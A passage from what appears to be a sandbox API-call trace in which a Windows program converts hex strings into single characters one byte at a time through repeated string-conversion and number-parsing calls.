cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.704] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.704] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.704] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.705] VarParseNumFromStr (in: strIn="&HC7", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.705] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.705] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="Ç") returned 1 [0061.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ç", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ç", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ç", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Ç", lpUsedDefaultChar=0x0) returned 1 [0061.705] VarParseNumFromStr (in: strIn="&HA", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.705] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.705] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0061.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0061.706] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.706] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.706] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.707] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.707] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.707] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.708] VarParseNumFromStr (in: strIn="&HE0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.708] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.708] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="à") returned 1 [0061.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="à", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="à", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="à", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="à", lpUsedDefaultChar=0x0) returned 1 [0061.709] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.709] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.709] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.709] VarParseNumFromStr (in: strIn="&H2", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.710] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.710] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="\x02") returned 1 [0061.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x02", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x02", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.710] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x02", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x02", lpUsedDefaultChar=0x0) returned 1 [0061.710] VarParseNumFromStr (in: strIn="&H23", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.710] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.710] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="#") returned 1 [0061.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="#", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="#", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="#", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="#", lpUsedDefaultChar=0x0) returned 1 [0061.711] VarParseNumFromStr (in: strIn="&HB", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.711] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.711] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="\x0b") returned 1 [0061.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x0b", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x0b", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.711] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x0b", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x0b", lpUsedDefaultChar=0x0) returned 1 [0061.712] VarParseNumFromStr (in: strIn="&H1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.712] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.712] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="\x01") returned 1 [0061.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x01", lpUsedDefaultChar=0x0) returned 1 [0061.712] VarParseNumFromStr (in: strIn="&H5", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.712] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.713] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="\x05") returned 1 [0061.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x05", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x05", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x05", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x05", lpUsedDefaultChar=0x0) returned 1 [0061.713] VarParseNumFromStr (in: strIn="&H2", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.713] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.713] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="\x02") returned 1 [0061.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x02", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x02", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x02", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x02", lpUsedDefaultChar=0x0) returned 1 [0061.714] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.714] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.714] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.714] VarParseNumFromStr (in: strIn="&H8", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.715] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.715] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="\x08") returned 1 [0061.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x08", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x08", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.715] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x08", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x08", lpUsedDefaultChar=0x0) returned 1 [0061.715] VarParseNumFromStr (in: strIn="&H1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.715] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.715] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="\x01") returned 1 [0061.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x01", lpUsedDefaultChar=0x0) returned 1 [0061.716] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.716] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.716] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.716] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.717] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.717] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.717] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.717] VarParseNumFromStr (in: strIn="&H84", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.717] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.718] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="„") returned 1 [0061.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="„", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="„", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="„", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x84", lpUsedDefaultChar=0x0) returned 1 [0061.718] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.718] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.718] 